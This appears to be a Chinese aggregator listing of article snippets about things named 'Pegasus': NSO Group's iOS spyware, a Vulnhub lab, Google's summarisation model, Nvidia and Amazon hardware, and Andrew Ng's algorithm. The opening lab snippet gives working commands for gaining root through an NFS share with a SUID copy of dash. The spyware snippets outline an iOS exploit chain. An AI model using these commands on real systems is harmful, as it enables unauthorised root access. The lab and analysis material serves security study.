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【Vulnhub】pegasus

启动: sudo /usr/local/sbin/nfs start 然后在攻击机上创建一个用来挂载的文件夹 mkdir /mnt/pegasus 然后挂载上 mount -t nfs -o proto =tcp,port=2049 192.168.149.183:/opt/nfs /mnt/pegasus 创建一个文件并且给他权限 touch /mnt/pegasus/hack_shell chmod 777 /mnt/pegasus/hack_shell 回到靶机,把 /bin/dash 拷过去 cp /bin/dash /opt/nfs/hack_shell 然后在攻击机上给他权限 chmod u+s /mnt/pegasus/hack_shell chmod g+s /mnt/pegasus/hack_shell 这样在靶机一执行,就能拿到 root 权限 ?

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Pegasus间谍套件内部原理及流程剖析

NSO集团提供的间谍软件套装名为Pegasus(可戏称为天马流星拳),Pegasus是一套高度定制化和自动化的间谍软件,其内置三叉戟(3个iOS的0day漏洞组合),可以有效刺破iOS的安全机制,抵达内核 ),使其成为Pegasus专属监控设备。 Pegasus利用了iOS内核读取栈数据时缺乏边界检查,导致Pegasus能够获取栈上额外的数据,而函数的返回地址一般会被保存在栈上,刺探到了内核的基址。 阶段三会检测手机是否已经越狱; Pegasus每次启动时也会检测一次是否越狱。 ? 0×0904.监控设备 ? 为了可以持续监测和通讯,Pegasus禁用了系统的“深度睡眠”功能。 down掉,发个短信也能迅速换新Pegasus

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    iOS“远程越狱”间谍软件Pegasus技术分析

    Lookout公司把这款恶意软件命名为Pegasus,并对其技术细节进行了分析。 Pegasus就是利用了远程越狱和hook。 Pegasus将它的动态库插入到设备里的针对正规进程中。这些动态库之后就会使用Cydia Mobile Substrate框架去hook应用。 Pegasus会利用这个漏洞获取Safari浏览器内的代码执行权限。 CVE-2016-4655: 内核信息泄露KASLR保护绕过漏洞 在Pegasus进行越狱之前,它首先得确定内存中内核的位置。 Pegasus能够接收5种类型的指令,验证码的最后一位就是指令的ID,在本例中,指令ID就是9。 之所以使用短信,是因为Pegasus能够在没有网络的情况下接收指令。 Pegasus还有一个录音模块会专门监听这些ID。libwacalls发送这些通知,然后libaudio.dylib就会进行处理,Pegasus从而就能对用户的WhatsApp通话进行录音。 ?

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    PEGASUS iOS内核漏洞分析(一)

    背景 2016年8月25日,苹果公司发布了针对PEGASUS监控工具包的iOS 9.3.5安全更新。 公众始终不知道该漏洞是否已经被修复,地下黑市上出现的漏洞利用是否仍然有效,所以我们决定自己研究苹果最近发布的安全补丁,以弄清楚PEGASUS所利用的三个漏洞。 master, data, bufpos,&res); printf("kr: 0x%xn", kr); } Exploitation 本文中,我们只对该漏洞进行了深度分析,至于漏洞利用程序将会在明天的PEGASUS

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    Pegasus看分布式系统设计

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    纽约时报记者的手机两次被NSO Group的Pegasus间谍软件感染

    美国《纽约时报》记者本·哈伯德(Ben Hubbard)24日在该报网站上发文表示,自己的iphone手机曾两度被以色列技术公司NSO Group 的 Pegasus 间谍软件入侵感染。 公民实验室认为该短信很可能由沙特阿拉伯方面通过Pegasus发送。 NSO官方宣称自己向经过审查的政府机构和执法部门出售包括Pegasus在内的软件,以打击恐怖主义和毒品走私等非法活动,但近来,Pegasus被更多地用来入侵媒体记者及社会活动家。 公民实验室的研究人员在他们的调查结果摘要中写道:“Pegasus 间谍软件被广泛地用以入侵记者,对全球新闻自由构成了直接威胁,并导致调查性新闻进一步受挫。” 尼尔埃利亚斯/路透社 参考来源: https://securityaffairs.co/wordpress/123747/hacking/nyt-journalist-pegasus-spyware.html

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    伯克利研究生是如何发现苹果设备超级间谍软件Pegasus

    · 今年夏天,作为Citizens Lab高级安全研究员的伯克利硕士Bill Marczak,偶然发现了苹果超级间谍软件Pegasus。 Marczak只好把此次捕获的相关代码发送给了LookOut公司共同研究,随后,他们在逆向过程中发现,间谍软件开发者在攻击代码中暴露了很多“Pegasus Protocol”字符串,他们追踪到了试图与手机通讯的服务器 所有迹象都明显指向以色列的间谍软件公司NSO,而此次被发现的间谍程序也被Citizen Lab和LookOut共同命名为“Pegasus”。 Mike Murray说,Pegasus几乎能执行所有监控功能,在这之前,绝无仅有。 而Blaich则强调,中招Pegasus后,手机可能会出现耗电量增加的情况,持续耗电一段时间后,Pegasus还会自动关闭程序,有时,它甚至会等待手机连接到WI-FI之后,才会向外传输大容量数据,非常智能

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    双周动态|自动生成摘要超越BERT,帝国理工&谷歌提出新模型Pegasus;三星或在CES20上展示NEON人工智能虚拟机器人

    链接:http://news.zol.com.cn/735/7359298.html AI 技 术 华人博士一作:自动生成摘要超越BERT,帝国理工&谷歌提出新模型Pegasus 谷歌大脑和伦敦帝国理工学院的一个团队最近构建了一个系统 PEGASUS,利用谷歌的Transformer架构,并结合了针对文本摘要生成定制的预训练目标。 在实验中,研究团队选择了性能最佳的有5.68亿参数的Pegasus模型。结果也证明,Pegasus生成的文本摘要在流畅性和连贯性方面都达到了很高的语言质量,而且它不需要采取额外的对策来减轻不流畅。

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    英伟达为全自动驾驶汽车打造AI计算机,计算力达上代10倍

    Pegasus这个名字,是希腊神话中的双翼白色飞马珀伽索斯,也是天上的飞马座。 助力全自动驾驶汽车 ? 而新的DRIVE PX Pegasus,整体只有车牌大小,但提供的计算能力足以支持全自动驾驶。 老黄说:“Pegasus在人工智能计算性能方面的突破和效率对于行业实现这样的目标至关重要。” 产品规格 DRIVE PX Pegasus包含4颗高性能人工智能处理器。 根据英伟达官方网站的介绍,DRIVE PX系列目前包含四款产品,其中能支持L5自动驾驶的,是刚刚发布的Pegasus。 发布计划 Pegasus将于2018年下半年提供给英伟达的汽车行业合作伙伴。

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    帝国理工联手谷歌提出抽象文本摘要最佳模型 | ICML 2020

    本文以 12 个文本摘要数据集(包括新闻、科学、故事、使用说明、电子邮件、专利和立法议案)对最好的 PEGASUS 模型进行全面测试。 实验结果是:PEGASUS 刷新 12 个数据集的 ROUGE 得分记录。 最后,本文还对 PEGASUS 模型生成的摘要结果进行人工评测,结果表明本文的模型在多个数据集上达到与人工摘要相媲美的性能。 Figure 6 展示了 PEGASUS 模型在 8 个数据集下使用不同样本数进行微调的结果。 ? 本文还表明,PEGASUS 模型能够非常快速地适应新的摘要数据集,仅需 1000 个样本就可以获得较好的结果。

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    亚马逊为执行中心推出两款新的机器人,将分类精度提高了50%

    为了提高包装分拣的速度和可靠性,亚马逊推出了一种新的分拣系统Pegasus,到目前为止已经运行了200万英里,将错误分拣的货物减少了50%,同时保留了现有驱动系统的安全功能。 Pegasus也是一个移动机器人,但比Xanthus小得多,对亚马逊来说,它们组成一个全新的大型机器人系统,包含由一群高度协调的机器人,把盒子扔下滑道。 亚马逊已在美国部署了800台Pegasus设备。 “客户对便利性,选择,成本,特别是交付速度的期望并继续增加,我们意识到我们需要在机器人技术中逐步改变功能,”Porter说。 ? Xanthus和Pegasus都加入了第一和第三方机器人队伍,与亚马逊数百家分拣和配送设施中的30万人一起工作。今年早些时候,亚马逊表示,它已经在全美超过25个履行中心部署了10万个机器人系统。

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    英伟达发布基于Xavier处理器的三大AI平台

    最后一个平台实际上是对其现有自主出租车大脑——Pegasus的修改。 新的Pegasus改进了之前的版本,将两个Xavier SoC和两个英伟达GPU封装成一个包,这个包的大小相当于一个汽车牌照的大小。 目前英伟达正在与至少25位客户合作,使用Pegasus为他们的自动驾驶机器人出租车提供助力,并将从今年年中开始把Pegasus的首批样品运送到一些特定的客户手中。

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    “不忍其害”,苹果公司正式起诉间谍软件“制造商”NSO Group

    在诉讼资料中,苹果公司提供了有关NSO Group如何使用其Pegasus间谍软件感染受害者设备的证据。 发起此次诉讼,苹果公司期望能够对其恶意软件供应商产生一定的威慑作用。 NSOGroup 间谍活跃已久 苹果公司起诉NSO Group间谍软件开发商的诉讼报告中,详细记录了 NSO Group旗下Pegasus 间谍软件如何被用来监视世界各地的记者和人权捍卫者 (HRD)。 最初,NSO Group开发Pegasus间谍软件工具,是作为监视软件销售,“主要是授权给合法的政府机构使用,目的是帮助他们调查犯罪和恐怖活动。 2018年,Citizen Lab(一实验室)发现,一些机构使用Pegasus 间谍软件对部分国家安全部门进行跨境监视。 最近,美国宣布制裁的四家开发、销售监视恶意软件的公司。

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    谷歌Docs,现在已经可以自动生成文本摘要了!

    模型细节 过去五年,特别是 Transformer 和 Pegasus 的推出,ML 在自然语言理解 (NLU) 和自然语言生成 (NLG)方面产生巨大影响。 Pegasus 的研究将这一想法又向前推进了一步, 该方法是在论文《PEGASUS: Pre-training with Extracted Gap-sentences for Abstractive Pegasus 在一组不同的摘要数据集上取得了 SOTA 结果。然而,将这一研究进展应用到产品中仍然存在许多挑战。 PEGASUS 基础架构是标准的 Transformer 编码器 - 解码器。 幸运的是,谷歌开源 Pegasus 库(用于自动生成文章摘要)中的关键发现之一是:有效的预训练阶段在微调阶段需要更少的监督数据。 谷歌使用知识蒸馏(将知识从大模型迁移到更小更高效模型的过程)将 Pegasus 模型提炼为包含 Transformer 编码器和 RNN 解码器的混合架构。

    12520

    流氓黑客试图以 5000 万美元出售 iPhone 恶意软件

    这个工具被称为Pegasus ,是一家名为NSO Group的以色列安全公司的研发成果。通常情况下,NSO Group的商业模式依赖于创建复杂的基于软件的攻击并将其出售给情报机构和外国政府。 不过是什么让Pegasus独一无二呢?那就是它建立在三个iOS零日漏洞之上,让第三方能够窃听目标用户的电话,同时还能密切关注目标用户的位置、截图、照片库、电子邮件及短信等。 此外,Pegasus非常容易安装,唯一的要求是通过短信发送一个看似无害的链接。

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    流氓黑客试图以 5000 万美元出售 iPhone 恶意软件

    这个工具被称为Pegasus ,是一家名为NSO Group的以色列安全公司的研发成果。通常情况下,NSO Group的商业模式依赖于创建复杂的基于软件的攻击并将其出售给情报机构和外国政府。 不过是什么让Pegasus独一无二呢?那就是它建立在三个iOS零日漏洞之上,让第三方能够窃听目标用户的电话,同时还能密切关注目标用户的位置、截图、照片库、电子邮件及短信等。 此外,Pegasus非常容易安装,唯一的要求是通过短信发送一个看似无害的链接。

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    刚刚,英伟达发布最强无人车AI芯片,以及一系列自动驾驶新产品

    这款SoC,是英伟达Drive Pegasus AI计算平台的关键组成部分。一个Pegasus有两块Xavier,和两个英伟达新GPU,运算能力达到每秒320万亿次,功耗仅需400瓦。 一两块Pegasus,就可以提供L5全自动驾驶汽车所需的运算量。 也就是说一块电路板,取代了整个超级计算机。 英伟达还宣布和Aurora、Uber在无人车方面展开合作。 △ Pegasus 这款SoC,是英伟达Drive Pegasus AI计算平台的关键组成部分。一个Pegasus有两块Xavier,和两个英伟达新GPU,运算能力达到每秒320万亿次。 一两块Pegasus,就可以提供L5全自动驾驶汽车所需的运算量。 ? 根据英伟达官方数据,现在已经有25家公司在借助英伟达的技术来开发全自动驾驶汽车, Xavier本季度就将发货,而Pegasus将在2018年中发货。 对于汽车来说,最重要的安全。

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    以色列监控公司 QuaDream遭曝光

    2021年8月,Citizen Lab的研究人员发现了零点击iMessage漏洞,该漏洞用于在巴林激进分子的设备上部署NSO Group的Pegasus间谍软件。 包括巴林人权中心、Waad、AlWefaq在内的9名活动人士的iPhone感染了Pegasus间谍软件,这可能是由名为LULU的威胁行为者精心策划的监视行动的一部分。 知情人表示:我们确定了9名巴林激进分子,他们的iPhone在2020年6月至2021年2月期间被NSO集团的Pegasus间谍软件成功入侵。 QuaDream开发的间谍软件名为REIGN,它具有与NSO集团的Pegasus间谍软件相同的功能,它允许操作员完全控制设备。

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    谷歌开源“穷人版”摘要生成NLP模型:训练成本低,只要1000个样本就能打败人类

    这就是谷歌发布的“天马”(PEGASUS)模型,它专门为机器生成摘要而生,刷新了该领域的SOTA成绩,并被ICML 2020收录。 ? 从填空到生成摘要 PEGASUS的全称是:利用提取的间隙句进行摘要概括的预训练模型(Pre-training with Extracted Gap-sentences for Abstractive Summarization 1000个训练样本即超过人类 尽管PEGASUS在大型数据集上表现出了卓越的性能,但令人惊讶的是,“天马”模型并不需要大量的样本来进行微调,就可以达到近乎SOTA的性能。 传送门 博客地址: https://ai.googleblog.com/2020/06/pegasus-state-of-art-model-for.html 论文地址: https://arxiv.org /abs/1912.08777 代码地址: https://github.com/google-research/pegasus 作者系网易新闻·网易号“各有态度”签约作者 — 完 —

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    【干货】吴恩达博士论文:用增强学习做无人机

    论文还提出了PEGASUS策略搜索方法。论文的最后,作者把这一理论和方法结合用于实践,控制无人机飞行。 随后,我们提出PEGASUS策略搜索方法。 我们发现,PEGASUS具有样本复杂性,可以根据问题的数量二项式地最大化增长,并且有力地保证了它找到的解决方案的质量。 这被用于延伸PEGASUS算法,保证了对策略实用性的一致良好评价,并且拥有最多的二项式样本复杂性。 PEGASUS策略的演进 第五章中,这些概念被统合于设计一个无人机控制器。

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